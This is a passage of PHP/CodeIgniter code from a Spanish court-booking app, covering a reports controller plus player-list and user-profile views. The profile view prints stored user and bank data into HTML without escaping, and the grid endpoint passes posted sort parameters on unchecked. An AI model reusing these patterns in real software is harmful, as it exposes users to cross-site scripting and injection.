$selected_date1=date($this->config->item('reserve_date_filter_format')); $selected_date2=$this->input->post('date2'); if(!isset($selected_date2) || trim($selected_date2)=="") $selected_date2=date($this->config->item('reserve_date_filter_format')); $selected_hour1=$this->input->post('hora1'); if(!isset($selected_hour1) || $selected_hour1=="") $selected_hour1='00:00:00'; $selected_hour2=$this->input->post('hora2'); if(!isset($selected_hour2) || $selected_hour2=="") $selected_hour2='23:59:00'; $order='courts.name, booking.date, booking.intervalo '; $order_way='asc'; $fecha1 = date($this->config->item('date_db_format'), strtotime($selected_date1)); $fecha2 = date($this->config->item('date_db_format'), strtotime($selected_date2)); $hora1 = date($this->config->item('hour_db_format'), strtotime($selected_hour1)); $hora2 = date($this->config->item('hour_db_format'), strtotime($selected_hour2)); $resultado = $this->reservas->get_complete_court_ocupation($fecha1, $fecha2, $hora1, $hora2); //print("<pre>");print_r($resultado); if($formato=="excel") { $this->output->set_header("Content-type: application/vnd.ms-excel"); $this->output->set_header("Content-Disposition: attachment;filename=export_".time().".xls"); $salida=""; $salida='<table boder="1">'."\r\n"; $salida.='<tr><td>Id</td><td>Pista</td><td>Horas totales</td><td>Total facturado</td><td>Facturable ( + sin coste)</td><td>Horas potenciales</td></tr>'; foreach($resultado as $linea) { $salida.='<tr>'."\r\n"; $salida.='<td>'.$linea['id'].'</td>'."\r\n"; $salida.='<td>'.$linea['name'].'</td>'."\r\n"; $salida.='<td>'.number_format($linea['total_horas'],1,',', '.').'</td>'."\r\n"; $salida.='<td>'.number_format($linea['total_facturado'],2,',', '.').'</td>'."\r\n"; $salida.='<td>'.number_format($linea['total_facturable'],2,',', '.').'</td>'."\r\n"; $salida.='<td>'.number_format($linea['maximo_horas'],1,',', '.').'</td>'."\r\n"; $salida.='</tr>'."\r\n"; } $salida.='</table>'; $this->output->set_output($salida); return NULL; } //echo $salida; //print("<pre>");print_r($array_resultados); $fields=array( 'Pista','Horas', 'Ocupaci&oacute;n', 'Facturaci&oacute;n', 'Fact. Potencial'); $contenido = $this->load->view('informes/reserva_ocupacion', array('resultado' => $resultado, 'campos' => $fields, 'filtros' => $campos_busqueda, 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true)), TRUE); $data=array( 'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'navigation' => $this->load->view('navigation', '', true), 'search_fields' => $this->load->view('informes/search_fields', array('search_fields'=> $campos_busqueda, 'disabled' => ''), true), 'main_content' => $contenido, 'form_name' => 'frmInforme', 'footer' => $this->load->view('footer', '', true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); } function simpleSearchFields($options=array()) { $this->load->model('Reservas_model', 'reservas', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } ######################### ## CREACION DE FILTROS ###### //$page_id=$this->app_common->get_page_id(); //echo $page_id; /* $filtros=$this->session->userdata('filters'); if(!isset($filtros)) $this->session->set_userdata('filters', array()); if(!isset($filtros[$page_id])) $filtros[$page_id]= array(); */ $filter_array=array(); $selected_sport=$this->input->post('sports'); $selected_court_type=$this->input->post('court_type'); $selected_court=$this->input->post('court'); $selected_status=$this->input->post('status'); $selected_paymentway=$this->input->post('paymentway'); $selected_user=$this->input->post('user'); $selected_no_cost=$this->input->post('no_cost'); $selected_date1=$this->input->post('date1'); //if(!isset($selected_date1) || $selected_date1=="") $selected_date1=date($this->config->item('reserve_date_filter_format')); //echo date($this->config->item('reserve_date_filter_format'), strtotime(date($this->config->item('reserve_date_filter_format')))). " -1 month"; //echo date($this->config->item('reserve_date_filter_format'), strtotime(date($this->config->item('reserve_date_filter_format')). " -1 month")); if(!isset($selected_date1) || $selected_date1=="") { if(!isset($options['date1']) || $options['date1']=="0") $selected_date1=date($this->config->item('reserve_date_filter_format'), strtotime(date($this->config->item('reserve_date_filter_format')). " -1 month")); else $selected_date1=$options['date1']; // Valor por defecto pasado por parรกmetros } $selected_date2=$this->input->post('date2'); if(!isset($selected_date2) || $selected_date2=="") { if(!isset($options['date1']) || $options['date1']=="0") $selected_date2=date($this->config->item('reserve_date_filter_format')); else $selected_date2=$options['date2']; // Valor por defecto pasado por parรกmetros } $selected_hour1=$this->input->post('hora1'); if(!isset($selected_hour1) || $selected_hour1=="") { if(!isset($options['hora1']) || $options['hora1']=="0") $selected_hour1='00:00:00'; else $selected_hour1=$options['hora1']; // Valor por defecto pasado por parรกmetros } $selected_hour2=$this->input->post('hora2'); if(!isset($selected_hour2) || $selected_hour2=="") { if(!isset($options['hora2']) || $options['hora2']=="0") $selected_hour2='23:59:00'; else $selected_hour2=$options['hora2']; // Valor por defecto pasado por parรกmetros } # Filtro de DEPORTE if(!isset($options['sports']) || $options['sports']=="1") { $options=$this->reservas->getSportsArray(); if(isset($options) && count($options)!=1) { $equipo=array('name' => 'sports', 'desc' => $this->lang->line('sport'), 'default' => $selected_sport, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'sports', 'type' => 'select', 'value' => $options); array_push($filter_array, $equipo); } } # Filtro de TIPO DE PISTA if(!isset($options['court_type']) || $options['court_type']=="1") { $options=$this->pistas->getAvailableCourtsTypesArray($selected_sport); if(isset($options) && count($options)!=1) { $tipopista=array('name' => 'court_type', 'desc' => $this->lang->line('court_type'), 'default' => $selected_court_type, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'court_type', 'type' => 'select', 'value' => array('' => $options)); array_push($filter_array, $tipopista); } } # Filtro de PISTAS if(!isset($options['court']) || $options['court']=="1") { $options=$this->pistas->getAvailableCourtsArray($selected_sport,$selected_court_type); if(isset($options) && count($options)!=1) { $pista=array('name' => 'court', 'desc' => $this->lang->line('court'), 'default' => $selected_court, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'court', 'type' => 'select', 'value' => array('' => $options)); array_push($filter_array, $pista); } } # Filtro de ESTADO DE RESERVA if(!isset($options['status']) || $options['status']=="1") { $options=$this->reservas->getReserveStatusArray(); if(isset($options) && count($options)!=1) { $equipo=array('name' => 'status', 'desc' => $this->lang->line('reserve_status'), 'default' => $selected_status, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'status', 'type' => 'select', 'value' => $options); array_push($filter_array, $equipo); } } # Filtro de FORMA DE PAGO if(!isset($options['paymentway']) || $options['paymentway']=="1") { $options=$this->reservas->getPaymentWaysArray(); if(isset($options) && count($options)!=1) { $equipo=array('name' => 'paymentway', 'desc' => $this->lang->line('payment_ways'), 'default' => $selected_paymentway, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'paymentway', 'type' => 'select', 'value' => $options); array_push($filter_array, $equipo); } } # Filtro de FECHA if(!isset($options['date']) || $options['date']!="0") { $fecha=array('name' => 'date1', 'desc' => $this->lang->line('date1'), 'default' => $selected_date1, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'date1', 'type' => 'date'); array_push($filter_array, $fecha); # Filtro de FECHA $fecha=array('name' => 'date2', 'desc' => $this->lang->line('date2'), 'default' => $selected_date2, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'date2', 'type' => 'date'); array_push($filter_array, $fecha); } # Filtro de FECHA if(!isset($options['hora1']) || $options['hora1']!="0" || !isset($options['hora2']) || $options['hora2']!="0") { $fecha=array('name' => 'hora1', 'desc' => $this->lang->line('hora1'), 'default' => $selected_hour1, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'hora1', 'type' => 'time'); array_push($filter_array, $fecha); # Filtro de FECHA $fecha=array('name' => 'hora2', 'desc' => $this->lang->line('hora2'), 'default' => $selected_hour2, 'visible' => TRUE, 'enabled'=> TRUE, 'id' => 'hora2', 'type' => 'time'); array_push($filter_array, $fecha); } # Completo la informacion de los filtros en sesion /* $this->session->set_userdata('filters', $filtros); //print("<pre>"); print_r($filter_array); $filtros2=$this->session->userdata('filters');print("<pre>"); print_r($filtros2); */ return $filter_array; } function email() { $this->load->library('ckeditor'); $this->load->helper('ckeditor'); # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $data=array( 'meta' => $this->load->view('meta', array('extra' => link_tag(base_url().'css/informes.css')), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), 'main_content' => $this->load->view('editor/main', '', true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } function jquery() { $this->load->helper('jqgrid'); # opciones del menu $menu=array('menu' => $this->app_common->get_menu_options()); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } $colmodel = " {name:'id',index:'id', width:1, align:'center',hidden:true}, {name:'fecha',index:'fecha', width:12, align:'center'}, {name:'intervalo', index:'intervalo', width:10, align:'center'}, {name:'court_name',index:'court_name', width:20, align:'center'}, {name:'user_desc', index:'user_desc', width:30, align:'center'}, {name:'user_phone', index:'user_phone', width:12, align:'center'}, {name:'status_desc', index:'status_desc', width:15, align:'center'}, {name:'paymentway_desc', index:'paymentway_desc', width:15, align:'center'}, {name:'price', index:'price', width:10, align:'center'}, {name:'no_cost',index:'no_cost', width:10, align:'center', sortable:false}"; $colnames = "'Id','Fecha','Hora','Pista','Usuario', 'Telefono', 'Estado', 'Forma de pago', 'Precio', 'Gratis'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "informes/browse", 'title' => 'Listado de reservas', 'default_orderfield' => 'date', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'row_list_options' => '10,20,50', ); $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => link_tag(base_url().'css/informes.css')), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), 'menu' => $this->load->view('menu', $menu, true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true), 'main_content' => '<div style="position:relative; width: 960px; height: 660px;">'.jqgrid_creator($para_grid).'</div>', 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); //if($this->session->userdata('logged_in')) $page='reservas_user_index'; //if($this->redux_auth->logged_in()) $data['page']='reservas_gest/index'; $this->load->view('main', $data); } public function browse () { $this->load->model('Reservas_model', 'reservas', TRUE); //$req_param = array (); $req_param = array ( "orderby" => $this->input->post( "sidx", TRUE ), "orderbyway" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "where" => '' /* "sort_by" => $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); $data->page = $this->input->post( "page", TRUE ); $data->records = count ($this->reservas->get_data($req_param,"all")->result_array()); $data->total = ceil ($data->records /10 ); $records = $this->reservas->get_data ($req_param, 'none')->result_array(); $data->rows = $records; echo json_encode ($data ); exit( 0 ); } } /* End of file reports.php */ /* Location: ./system/application/controllers/reports.php */``` list_players.php ```<?php if(isset($menu_lateral)) echo $menu_lateral; if(isset($grid_code)) echo $grid_code; //print_r($motivos_baja); ?> <script type="text/javascript"> <?php if(isset($enable_buttons) && $enable_buttons) { ?> function jqGrid_ondblClickRow() { var gsr = jQuery("#grid_name").jqGrid('getGridParam','selrow'); if(gsr){ location.href='<?php echo site_url('lessons/asistant_info/'.$id_transaction);?>/'+gsr; identificador = gsr; } } var identificador = ''; $(function() { $.mask.masks.dinero = {mask : '99.999', type : 'reverse', defaultValue: '000'}; $('input:text').setMask(); jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-closethick", title:'Eliminar alumno', onClickButton:function(){ var gsr = jQuery("#grid_name").jqGrid('getGridParam','selrow'); if(gsr){ //location.href='<?php echo site_url('lessons/unsubscribe_assistant/'.$id_transaction.'/'); ?>/'+gsr; //identificador = gsr; identificador = gsr; $('#baja_dialog').dialog('open'); } else { alert("Please select Row") } } }); jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-plusthick", title:'Nuevo alumno', onClickButton:function(){ location.href='<?php echo site_url('lessons/add_assistant/'.$id_transaction); ?>'; } }); <?php if($alta) { ?> jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-flag", title:'Pagar alta de alumno', onClickButton:function(){ var gsr = jQuery("#grid_name").jqGrid('getGridParam','selrow'); if(gsr){ identificador = gsr; $('#alta_dialog').dialog('open'); } else { alert("Please select Row") } } }); <?php } ?> jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-cart", title:'Cobrar a alumno', onClickButton:function(){ var gsr = jQuery("#grid_name").jqGrid('getGridParam','selrow'); if(gsr){ //location.href='<?php echo site_url('retos/pay_player/'.$id_transaction.'/'); ?>/'+gsr; identificador = gsr; $('#pagar_dialog').dialog('open'); } else { alert("Please select Row"); } } }); jQuery("#grid_name").jqGrid('navButtonAdd','#pager2',{caption:"", buttonicon:"ui-icon-document", title:'Listado de alumnos', onClickButton:function(){ location.href='<?php echo site_url('informes/clases_listado/'.$id_transaction.'/excel'); ?>'; } }); }); <?php } ?> // increase the default animation speed to exaggerate the effect //$.fx.speeds._default = 1000; $(function() { $('input:text').setMask(); $('#pagar_dialog').dialog({ autoOpen: false, show: 'blind', modal: true, buttons: { 'Efectivo': function() { //modificar para que mantenga el filtro //location.href='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/1'; document.getElementById('frmPago2').action='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/1'; document.getElementById('frmPago2').submit(); }, 'Tarjeta': function() { //modificar para que mantenga el filtro //location.href='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/2'; document.getElementById('frmPago2').action='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/2'; document.getElementById('frmPago2').submit(); }, 'Banco': function() { //modificar para que mantenga el filtro //location.href='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/4'; document.getElementById('frmPago2').action='<?php echo site_url('lessons/asistant_payment/'.$id_transaction);?>/'+identificador+'/4'; document.getElementById('frmPago2').submit(); }, } }); $('#alta_dialog').dialog({ autoOpen: false, show: 'blind', modal: true, buttons: { 'Efectivo': function() { //modificar para que mantenga el filtro document.getElementById('frmPago').action='<?php echo site_url('lessons/sign_assistant/'.$id_transaction);?>/'+identificador+'/1'; document.getElementById('frmPago').submit(); $(this).dialog('close'); }, 'Tarjeta': function() { //modificar para que mantenga el filtro document.getElementById('frmPago').action='<?php echo site_url('lessons/sign_assistant/'.$id_transaction);?>/'+identificador+'/2'; document.getElementById('frmPago').submit(); $(this).dialog('close'); }, 'Banco': function() { //modificar para que mantenga el filtro document.getElementById('frmPago').action='<?php echo site_url('lessons/sign_assistant/'.$id_transaction);?>/'+identificador+'/4'; document.getElementById('frmPago').submit(); $(this).dialog('close'); }, 'Cancelar': function() { $(this).dialog('close'); } } }); }); $(function() { $('#cancelar_dialog').dialog({ autoOpen: false, show: 'blind', modal: true, buttons: { 'Cancelar Reserva': function() { //modificar para que mantenga el filtro document.getElementById('text_cancel').value = document.getElementById('text_cancel_view').value; document.getElementById('frmGrid').action='<?php echo site_url('reservas_gest/cancel_reserve');?>/'; document.getElementById('frmGrid').submit(); $(this).dialog('close'); }, 'Cerrar': function() { $(this).dialog('close'); } } }); $('#baja_dialog').dialog({ autoOpen: false, show: 'blind', modal: true, buttons: { 'Baja del alumno': function() { //modificar para que mantenga el filtro alert (document.getElementById('unsubscription_reason').value); document.getElementById('frmBaja').action='<?php echo site_url('lessons/unsubscribe_assistant/'.$id_transaction.'/'); ?>/'+identificador; document.getElementById('frmBaja').submit(); //alert(document.getElementById('frmBaja').action); $(this).dialog('close'); }, 'Cerrar': function() { $(this).dialog('close'); } } }); }); $(function() { $("#cambiar_dialog").dialog({ autoOpen: false, height: 300, width: 350, modal: true, buttons: { 'Modificar': function() { //FALTA VALIDACIร“N DE CAMPOS document.getElementById('hora_inicio').value = document.getElementById('hora_inicio_view').value; document.getElementById('hora_fin').value = document.getElementById('hora_fin_view').value; $('#confirmar_dialog').dialog('open'); $(this).dialog('close'); }, 'Cancelar': function() { $(this).dialog('close'); } } }); }); $(function() { $('#confirmar_dialog').dialog({ autoOpen: false, show: 'blind', modal: true, buttons: { 'Modificar': function() { //FALTA VALIDACIร“N DE CAMPOS document.getElementById('frmGrid').action='<?php echo site_url('reservas_gest/change_reserve');?>/'; //alert(document.frmGrid.hora_inicio.value); document.getElementById('frmGrid').submit(); $(this).dialog('close'); }, 'Cerrar': function() { $(this).dialog('close'); } } }); var dates = $( "#payd_date_tmp" ).datepicker({ showOn: 'button', buttonImage: '<?php echo base_url(); ?>/images/calendar.gif', buttonImageOnly: true, changeMonth: true, changeYear: true, numberOfMonths: 2, dateFormat: 'dd-mm-yy', dayNamesMin: ['Do', 'Lu', 'Ma', 'Mi', 'Ju', 'Vi', 'Sa'], monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio','Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'], firstDay: 1, onSelect: function( selectedDate ) { var option = this.id == "start_date" ? "minDate" : "maxDate", instance = $( this ).data( "datepicker" ); date = $.datepicker.parseDate( instance.settings.dateFormat || $.datepicker._defaults.dateFormat, selectedDate, instance.settings ); dates.not( this ).datepicker( "option", option, date ); } } ); }); </script> <div id="pagar_dialog" title="Pagar cuota"> <form action="" method=post name="frmPago2" id="frmPago2"> <p>Pago de la cuota de socio.<br/> Pagado hasta: <input name="payd_date_tmp" type="text" id="payd_date_tmp" value="" /><br/> Cuota a cobrar <input name="payable_quota_tmp" type="text" id="payable_quota_tmp" value="<?php echo number_format($quota,2); ?>" size="7" alt="dinero"/><br/> <span style="color: red; font-size:0.75em;">(Si se deja un campo vac&iacute;o se aplica el valor por defecto)</span></p> </form> </div> <div id="alta_dialog" title="Alta en curso"> <p>Elija m&eacute;todo de pago para el alta de usuario.</p> <form action="" method=post name="frmPago" id="frmPago"> Fecha alta: <input type="text" name="sign_date" id="sign_date" value="<?php echo date($this->config->item('reserve_date_filter_format')); ?>" alt="date"> </form> </div> <div id="cancelar_dialog" title="Cancelar Reserva"> <p>&iquest;Est&aacute; seguro de querer cancelar la reserva?</p> <fieldset> <label for="text_cancel_view">Motivo:</label> <input type="text" name="text_cancel_view" id="text_cancel_view" value=""/> </fieldset> </div> <div id="baja_dialog" title="Baja Alumno"> <p>Elija el motivo por el que el alumno causa baja</p> <form action="" method=post name="frmBaja" id="frmBaja"> <fieldset> <label for="text_cancel_view">Motivo:</label> <?php echo form_dropdown('unsubscription_reason', $motivos_baja, '','id="unsubscription_reason"'); ?> </fieldset> </form> </div> <div id="cambiar_dialog" title="Modificar Hora Reserva"> <p class="validateTips">Todos los campos son obligatorios.</p> <fieldset> <label for="hora_inicio">Hora Inicio:</label> <input type="text" name="hora_inicio_view" id="hora_inicio_view" value=""/> <br> <label for="hora_fin">Hora Fin:</label> <input type="text" name="hora_fin_view" id="hora_fin_view" value="" /> </fieldset> </div> <div id="confirmar_dialog" title="Confirmar"> <p>&iquest;Est&aacute; seguro de querer modificar la reserva?</p> </div> <table id="flex1" style="display:none"></table> ``` user_profile.php ```<?php //print("<pre>");print_r($array_user); ?> <form class="form_user" name="formUser" method="post"> <table width="100%" border="0" cellspacing="10" class="nota"> <tr> <td width="93"> <?php if(trim($array_user['avatar'])!='') echo img( array('src'=>'images/users/'.$array_user['avatar'], 'border'=>'0', 'width'=>'90', 'alt' => 'Avatar', 'align'=>'absmiddle')); else echo img( array('src'=>'images/avatar.jpg', 'border'=>'0', 'width'=>'90', 'height'=>'110"', 'alt' => 'foto', 'align'=>'absmiddle')); ?> &nbsp; <!-- aqui irรก la funcion de cambiar imagen de perfil--> <br> <label>Activo <input type="checkbox" name="user_active" id="user_active" value="1" <?php if ($array_user['user_active'] == '1') echo 'checked'?> /> </label> </td> <td width="405" valign="top"> <input type="hidden" id="id_user" name="id_user" value="<?php echo $array_user['user_id'];?>"> <label><span>Codigo</span> <input name="code" type="text" id="code" disabled value="<?php echo $code_user;?>" size="30" /> </label> <label><span>Nombre</span> <input name="first_name" type="text" id="first_name" value="<?php echo $array_user['user_name'];?>" size="30" /> </label> <label><span>Apellidos</span> <input type="text" name="last_name" id="last_name" value="<?php echo $array_user['user_lastname'];?>" size="30" /> </label> <label><span>Email </span> <input type="text" name="email" id="email" value="<?php echo $array_user['user_email'];?>" size="30" /> </label> <label><span>NIF</span> <input type="text" name="nif" id="nif" value="<?php echo $array_user['nif'];?>" /> </label> <label><span>Nivel de usuario</span> <input type="hidden" id="group_id" name="group_id" value="<?php echo $array_user['group_id'];?>"> <input name="group_desc" type="text" id="group_desc" disabled value="<?php echo $array_user['group_description'];?>" size="20" /> </label> <label><span>Password</span> <input name="Password" type="password" id="Password" value="sfsfsfsfsdf" size="6" disabled/> <input type="button" id="password_change" class="boton" value="Cambiar"/></label> <label><span>Num. cuenta</span> <input name="bank" style="width: 34px" disabled type="text" id="bank" value="<?php echo $array_user['bank'];?>" maxlength="4" size="2" /> <input name="bank_office" style="width: 34px" disabled type="text" id="bank_office" value="<?php echo $array_user['bank_office'];?>" size="2" /> <input name="bank_dc" style="width: 18px" disabled type="text" id="bank_dc" value="<?php echo $array_user['bank_dc'];?>" size="1" /> <input name="bank_account" style="width: 75px" disabled type="text" id="bank_account" value="<?php echo $array_user['bank_account'];?>" size="6" /> </label> <label><span>Cuenta IBAN</span> <input name="bank_iban" disabled type="text" id="bank_iban" size="24" value="<?php echo $array_user['bank_iban'];?>"/> </label> <label><span>Titular cuenta</span> <input name="bank_titular" type="text" disabled id="bank_titular" value="<?php echo $array_user['bank_titular'];?>"/> </label> </td> <td width="476" > <?php if($numero_socio_visible) { if($numero_socio_automatico) $disabled = ' disabled '; else $disabled = ''; ?> <label> <span>Numero abonado </span> <input type="text" name="code" id="code" value="<?php echo $array_user['numero_socio'];?>" <?php echo $disabled;?>size="30" /> </label> <?php } ?> <label> <span>Direcci&oacute;n </span> <input type="text" name="address" id="address" value="<?php echo $array_user['address'];?>" size="30" /> </label> <label><span>CP </span> <input type="text" name="cp" id="cp" value="<?php echo $array_user['cp'];?>" size="5" /> </label> <label><span>Localidad </span> <input type="text" name="population" id="population" value="<?php echo $array_user['population'];?>" size="30" /> </label> <label><span>Provincia </span> <select name="code_province" id="code_province"> <?php //pinto combo de niveles $seleccionar = ""; foreach($array_province as $value) { if ($array_user['code_province'] == $value['id']) $seleccionar = "selected"; else $seleccionar = ""; echo '<option '.$seleccionar.' value="'.$value['id'].'">'.$value['description'].'</option>'; } ?> </select> </label> <label><span>Tel&eacute;fono</span> <input type="text" name="user_phone" id="user_phone" value="<?php echo $array_user['user_phone'];?>" size="10" /> </label> <label><span>G&eacute;nero</span> <select name="gender" id="gender"> <option value="0">--Seleccionar--</option> <?php $check_female = ""; if ($array_user['gender'] == '2') $check_female = "selected"; $check_male = ""; if ($array_user['gender'] == '1') $check_male = "selected"; ?> <option value="1" <?php echo $check_male?>>Hombre</option> <option value="2" <?php echo $check_female?>>Mujer</option> </select> </label> <!-- <label><span>Tel&eacute;fono 2</span> <input type="text" name="mobile_phone" id="mobile_phone" value="<?php echo $array_user['mobile_phone'];?>" size="10" /> </label> --> <label><span>Fecha nacimiento</span> <input type="text" name="birth_date" id="birth_date" value="<?php echo date($this->config->item('reserve_date_filter_format'), strtotime($array_user['birth_date'])); ?>" /> <?php //echo img( array('src'=>'images/calendar.jpg', 'border'=>'0', 'width'=>'24', 'height'=>'24"', 'alt' => 'calendario', 'align'=>'absmiddle')); ?> </label> <label><span>Nivel de juego</span> <input type="text" name="player_level" id="player_level" disabled size="2" value="<?php echo $array_user['player_level'];?>" /> <?php // IF que controla si el nivel de usuario se controla por los retos, en cuyo caso, el usuario no puede modificรกrselo รฉl.. $retos_player_level_modification = $this->config->item('retos_player_level_modification'); if(isset($retos_player_level_modification) && $retos_player_level_modification) echo '<div id="slider" style="margin-left:5px; margin-top:5px; margin-right:10px; width:90px; float:left;"></div>'; ?> </label> </td> </tr> </table> <br clear="all" /> <table border="0" width="100%"> <tr> <!-- <td><fieldset> <legend>Seleccion por opciรณn</legend> <div> <input name="" type="radio" value="" /> Reserva bono mensual </div> <div> <input name="" type="radio" value="" /> Reserva bono anual</div> </fieldset></td> --> <td><fieldset> <legend>Privacidad</legend> <div> <input name="allow_phone_notification" type="checkbox" value="1" <?php if ($array_user['allow_phone_notification'] == '1') echo 'checked'?>/> Recibir noticias SMS </div> <div> <input name="allow_mail_notification" type="checkbox" value="1" <?php if ($array_user['allow_mail_notification'] == '1') echo 'checked'?>/> Recibir noticias Email</div> </fieldset></td> <td><fieldset> <legend>Dias disponibles para Retos</legend> <div> <input name="lunes" type="checkbox" value="1" <?php if ($array_user['reto_lunes'] == '1') echo 'checked'?>/> Lunes <input name="martes" type="checkbox" value="1" <?php if ($array_user['reto_martes'] == '1') echo 'checked'?>/> Martes <input name="miercoles" type="checkbox" value="1" <?php if ($array_user['reto_miercoles'] == '1') echo 'checked'?>/> Mi&eacute;rcoles <input name="jueves" type="checkbox" value="1" <?php if ($array_user['reto_jueves'] == '1') echo 'checked'?>/> Jueves <input name="viernes" type="checkbox" value="1" <?php if ($array_user['reto_viernes'] == '1') echo 'checked'?>/> Viernes <input name="sabado" type="checkbox" value="1" <?php if ($array_user['reto_sabado'] == '1') echo 'checked'?>/> S&aacute;bado <input name="domingo" type="checkbox" value="1" <?php if ($array_user['reto_domingo'] == '1') echo 'checked'?>/> Domingo </div> <div> <input name="manana" type="checkbox" value="1" <?php if ($array_user['reto_manana'] == '1') echo 'checked'?>/> Ma&ntilde;anas <input name="tardes" type="checkbox" value="1" <?php if ($array_user['reto_tarde'] == '1') echo 'checked'?> /> Tardes <input name="finde" type="checkbox" value="1" <?php if ($array_user['reto_finde'] == '1') echo 'checked'?>/> Fines de semana <input name="avisar_retos" type="checkbox" value="1" <?php if ($array_user['reto_notifica'] == '1') echo 'checked'?>/> Quiero recibir avisos</div> </fieldset></td> <?php if($tarifa_enabled) { ?> <td><fieldset> <legend>Cuota de socio</legend> <div>Cuota: <?php echo number_format($quota,2).'&euro;'; ?></div> <div><?php if($array_user['last_payd_date']!="") echo 'Pagado hasta '.date($this->config->item('reserve_date_filter_format') , strtotime($array_user['last_payd_date'])); else echo 'Sin pagos realizados';?></div> </fieldset></td> <?php } ?> </tr> </table> <!--Fin Formulario usuario --> <br clear="all" /> <p class="validateTips">Campos marcados con asterisco(*) son obligatorios.</p> <div class="separador"> <input type="button" id="guardar_button" class="boton" value="Enviar"/> <input type="button" id="cancelar_button" class="boton" value="Cancelar"/> </div> &nbsp; <br clear="all" /> </form> <script type="text/javascript"> $(function() { <?php // IF que controla si el nivel de usuario se controla por los retos, en cuyo caso, el usuario no puede modificรกrselo รฉl.. if(isset($retos_player_level_modification) && $retos_player_level_modification) { ?> $("#slider").slider({ value:<?php echo $array_user['player_level'];?>, min: 1, max: 6, step: 0.1, slide: function(event, ui) { $("#player_level").val( ui.value); } }); $("#player_level").val( $("#slider").slider("value")); <?php } // Fin del IF que controla si el nivel de usuario se controla por las notas de los retos, en cuyo caso, el usuario no puede modificรกrselo รฉl.. ?> if(!valida_nif_cif_nie('nif') && $('#nif').val()!='') $('#nif').attr('class', 'error'); $('#nif').change(function() { //alert($('#email').val()); if(!valida_nif_cif_nie('nif') && $('#nif').val()!='') $('#nif').attr('class', 'error'); else $('#nif').removeClass('error'); }); //Definiciรณn de mรกscaras del formulario $.mask.masks.dinero = {mask : '99.99', type : 'reverse', defaultValue: '000'}; $.mask.masks.dni = {mask : '99999999-a'}; $('input:text').setMask(); var dates = $( "#birth_date" ).datepicker({ showOn: 'button', buttonImage: '<?php echo base_url(); ?>/images/calendar.gif', buttonImageOnly: true, changeMonth: true, changeYear: true, numberOfMonths: 2, dateFormat: 'dd-mm-yy', dayNamesMin: ['Do', 'Lu', 'Ma', 'Mi', 'Ju', 'Vi', 'Sa'], monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio','Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'], firstDay: 1, onSelect: function( selectedDate ) { var option = this.id == "start_date" ? "minDate" : "maxDate", instance 